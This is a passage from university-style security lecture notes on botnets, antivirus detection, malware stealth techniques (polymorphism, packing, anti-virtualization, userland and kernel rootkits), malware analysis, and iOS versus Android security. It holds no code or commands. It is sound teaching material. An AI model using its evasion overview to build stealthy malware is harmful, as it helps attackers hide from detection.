first bots were used. However they began being used for other purposes as well, using the channel to command the bot and
the machine from university. A botnet nowadays is a network of compromised machines . under the control of a command and
control server. DoS attacks were carried on using this mechanism: the abuse of IRC bots (IRCwars, one of the first documented
DDoS attacks), in 1999 trinoo’s "DDoS attack tool" (originally ran on Solaris (later ported to Windows), setup of the botnet was mostly
manual) and in August 1999 the DDoS attack against a server at University of Minnesota using at least 227 bots. In 2000s a DDoS
attacks against high profile websites (Amazon, CNN, eBay) got huge media coverage. A botnet is a network that consists of several
malicious bots that are controlled by a commander, commonly known as botmaster (botherder). Botnets allow to do anything on
the infected machines, for example Phatbot allows to harvest email addresses from host, log all keypresses, sniff network traffic,

67
take screenshots, start an http server that allows to browse C:, kill a hard-coded list of processes (AV programs, rival malware), steal
windows CD keys (also keys to popular games), socks proxy (sets up a proxy to be used as a "stepping stone" for SPAM), download
file at an url, run a shell command, update, allows to change the available commands. Threats posed by bot(net)s are:

• For the infected host: information harvesting (Identity data, Financial data, Private data, E-mail address books, Any other type
of data that may be present on the host of the victim)

• For the rest of the Internet: Spamming, DDoS, Propagation (network or email worm), Support infrastructure for illegal internet
activity (the botnet itself, phishing sites, drive-by-download sites)

To defend agains malware some techniques are usually combined:

• Patches: most worms exploit known vulnerabilities, useless against zero-day worms

• Signatures: must be developed automatically, worms operate too quickly for human response

• Intrusion or anomaly detection: notice fast spreading, suspicious activity, can be a driver to automated signature generation

Antivirus and Anti-malware’s basic strategy is signature-based detection, the binary of a known malware is analyzed and a database
of byte-level or instruction-level signatures allows to compare similarities that match known malware. Wildcards can be used,
also regular expressions are common. However this only works for known attacks. The evolution of malware is faster than the
human ability to study them, combining these strategies is the best approach. In fact since it is not enough antivirus and anti
malware also exploit heuristics, i.e. checking for signs of infection (code execution starts in last section, incorrect header size in
PE header, suspicious code section name, patched import address table): Also behavioral detection is applied: this strategy detect
signs (behavior) of known malware and “common behaviors” of malware. Not everything needs an antivirus: it all depends on the
threat assessment and the trade off with coses.

17.8 Virus Stealth Techniques

These are defense mechanisms employed by malware who want to avoid being detected. Virus scanners quickly discover viruses
by searching around entry point, therefore viruses can deploy:

• Entry Point Obfuscation: the virus deploys multicavity, hijacks control after program is launched (overwrite import table
addresses (e.g., libraries) and function call instructions)

• Polymorphism: the virus changes layout (shape) with each infection, the same payload is encrypted (packing) using different
key for each infection to make signature analysis practically impossible (AV could detect encryption routine, but this is a
common activity in the pc)

• Metamorphism: the virus creates different “versions” of code that look different but have the same semantics (i.e., do the
same)

The main stealth techniques are polymorphism and metamorphism, which preserve the semantics while creating different versions
of the malware. Malware general stealth techniques are:

• Dormant period, during which no malicious behavior is exhibited

• Event-triggered payload, often C&C channel

• Anti-virtualization techniques, a malware executed in a VM does not show malicious behavior

• Encryption / Packing, similar to polymorphism but more advanced techniques are available in more complex malware

• Rootkit techniques, most advanced malware

68
17.8.1 Anti-virtualization techniques

If a program is not run natively on a machine, chances are high that it is being analyzed (in a security lab), scanned (inside a sandbox
of an Antivirus product) or debugged (by a security specialist). Modern malware detect execution environment to complicate
analysis, which can be performed on:

• virtual machine: very easy (timing, environment detection)

• hardware supported virtual machine: adjusted techniques, still easy (timing, environment detection)

• emulator: theoretically undetectable, practically also easy to detect (timing attack, incomplete specs so different emulator
implementations)

17.8.2 Packing

Packers are basically an advanced form of polymorphism: they encrypt malicious content, use small a encryption/decryption rou-
tine, changing the key at each execution. Typical functions are de/compress, de/encrypt, metamorphic components, anti-debugging
techniques, anti-VM techniques, virtualization.

17.8.3 Rootkits

This is a historical term: one become roots on a machine, and plants their kit to remain root so that is allowed to make files,
processes, user and directories disappear. The attacker also wants to remain invisible ant the kit is what they use to hide their
tracks. Rootkits can be deployed at two main levels: userland or kernel-space. A Linux userland rootkit example consists of a
backdoored login, sshd, passwd and trojanized utilities to hide: ps, netstat, ls, find, du, who, w, finger, ifconfig. Windows userland
rootkit targetscan be Task Manager, Process Explorer, Netstat, ipconfig. Once access is gained trojanized utilities to remain hidden
must be used so that the presence of the malware is not detected (trojanized utilities hide the attacker only). To hide our tracks
we must trojanize all (equivalent) commands. They are thus often incomplete: the attacker will trojanize a subset of utilities, using
all equivalent command the malware might be easy to detect (cross layer examination, comparing utilities with a clean machine’s).
Another possibility is to develop a rootkit at kernel level, where the rootkit does syscall hijacking. Every time a syscall is called the
output is masked by the attacker, utilities are not substituted but show fake results which hide the attacker’s tracks. Kernel space
rootkit is more difficult to build, but can hide artifacts completely. It can only be detected via post-mortem analysis i.e. checking all
the single components once the machine is off. Methods for recognizing rootkits are:

• intuition (easiest technique), consists of looking for the funny effect which hide inconsistencies

• post mortem analysis on different system

• trusted computing base/tripware

• cross-layer examination, the same sources are checked from different points of view.

However rootkits can get even more complex:

• Rootkit in BIOS: in ACPI (John Heasman) CMOS (eEye bootloader), Bootkit (not even in the BIOS, Brossard)

• Rootkit on firmware of NIC or Video Card

• Rootkits in virtualization systems (how to recognize a rootkit which acts as an hypervisor?)

The device will always be infected even after switching off.

17.9 Counteracting Malware: Malware Analysis Overview

A typical workflow after a malware is discovered consists of:

1. suspicious executable reported by "someone"

2. automatically analyzed

69
3. manually analyzed

4. antivirus signature developed


There are to ways to analyze the malware:
• Dynamic analysis: observing the runtime behavior of the executable

– pros: obfuscation (metamorphism, encryption, packing, ...)


– cons: code coverage, dormant code

• Static analysis: parse the executable code

– pros: code coverage, dormant code


– cons: obfuscation (metamorphism, encryption, packing, ...)

18 Mobile Security and Malicious Apps

Smartphone are a great target: they are always online, have ample computing resources available and handle sensitive data (email,
social networks, online banking, current location). Mobile and Desktop’s characteristic are summed up in Table 3.

Desktop Android iOS


OS Win/Linux/Mac LInux based Darwin based
Processor Architecture x86 ARM/x86/.. ARM
Programming Language arbitrary Java/native code Objective C
Accessibility open open closed
Table 3. Mobile vs. Desktop

18.1 Security Model

In iOS:
• code signing

• sandboxing with predefined permissions

• closed ecosystem (App Store is the CA) unless the device is jailbroken
In Android:
• code signing checked only at installation

• sandboxing with explicit permissions

• open ecosystem (no PKI, no CA), only integrity is checked

18.1.1 Sandboxing mechanism

In iOS the kernel uses MAC to restrict the files and memory space that each app can access. In Android each app is assigned a
distinct user and Linux takes care of the privilege separation automatically. The result is the same, in both cases, apps cannot
interact with each other unless authorized by the kernel. This is a major difference with respect to desktops.

18.1.2 Permission-based Authorization

iOS uses "privacy profiles" to define access control rules (e.g., Safari can access the Address Book). Users must confirm at first use
and the default deny policy is applied. In Android each app requested explicit permissions that the user had to approve in block
(all or nothing, user do not even read most of the times), or the app won’t install. Now it’s a little different, more like iOS.

70
18.1.3 Code Signing

In iOS the kernel enforces that only signed code is executed. App code is signed with the developer’s key, the developer’s certificate
is signed by Apple’s CA and no external code is allowed in the ecosystem. Also no dynamically generated code, no JIT (except
for JavaScript) are allowed, not even traditional shellcode. More advanced techniques (e.g., return-oriented programming) are
needed for exploitation. Sandbox ensures last line of protection. In Android the installer checks that every new application is
cryptographically valid. Apps are verified only upon installation, not each time they are run. Apps can be signed with self-signed
certificate, there is no PKI. Dynamically-generated code is allowed (e.g. DexClassLoad API to load external JAR files). This is actually
useful (e.g. silent upgrades) Also in this case sandbox ensures last line of protection.

18.1.4 Breaking the Rules for Extra Apps

In iOS "jailbreaking" is necessary to install extra apps. This means exploiting a kernel- or driver-level vulnerability, modifying the
OS to allow "other" apps and installing extra store managers (e.g., Cydia). This is not straightforward for regular users. The entire
security is compromised at this point ans vulnerable to any external attacks (while without jailbreaking it is only subject to attacks
by Apple). In Android the only thing to do is enabling "Allow from unknown sources" setting.

18.1.5 Malicious Code: Requirements

In iOS installing malicious apps needs a jailbroken target or App Store approval (i.e. overcome manual checks). In Android "Allow
from external sources" must be enabled or Google Play Store approval is needed (i.e. overcome automatic checks)

18.2 Risks of these ecosystems

𝑅𝑖𝑠𝑘 = 𝑡ℎ𝑟𝑒𝑎𝑡 × 𝑣𝑢𝑙𝑛 × 𝑎𝑠𝑠𝑒𝑡


Let’s consider these 4 empirical facts:

• The open model of Android makes it attractive for money-motivated attackers.

• The closed model of iOS makes it unattractive for money-motivated attackers.

• Android has 75% of the market: this makes it attractive for attackers.

• Android has less vulnerabilities than iOS.

As a result about 99% of the malware is written to target Android devices.

18.2.1 Malicious Code: iOS vs Android

In iOS only 10–15 malware families were found, there are few samples, only 2 of which in the App Store. In Android more than 50
malware families were found: about 200–500K samples (0.28% infected devices) and a dozen cases in the Google Play Store, there
are about 100 alternative marketplaces (e.g. apptoide, slideme, andapponline) full of malicious apps.

18.3 Malicious Code: Actions

Sandbox restrictions requires creativity. Mobile attackers usually direct monetize via different ways:

• call or text to premium numbers

• silently visit web pages (boost ranking)

• steal sensitive information (mobile banking credentials, contacts, email addresses to re-sell)

• root-exploit the device (Android only, so far)

• turn the device into a bot (re-sell)

71
• lock the device and ask for a ransom

To mitigate (Mobile) Malware Google Play runs automated checks, performs SMS/call blacklisting and quota and exploits Google
App Verify (call home when apps are installed). Also App sandboxing is used to limit the privileges of an app, bit is useless against
root-level exploits. To counteract (Mobile) Malware the same ex-post workflow as desktop malware must be followed:

1. suspicious app reported by "someone"

2. automatically analyzed

3. manually analyzed

4. app removed from the (official) store, could remain in unofficial ones

5. antivirus signature developed

Moreover permission can be analyzed: this allows to detect a lot of mobile malware. The concepts of static and dynamic analysis
do not change.

18.4 Reflections on Antivirus for Mobiles

AVs are apps, they can just scan for malicious content. However apps cannot interfere with each other. How can AVs check for
malicious apps if they cannot access the entire system? Giving an app root privileges is not a good idea, otherwise it will be exploited
by the attacker due to these privileges.

72

You might also like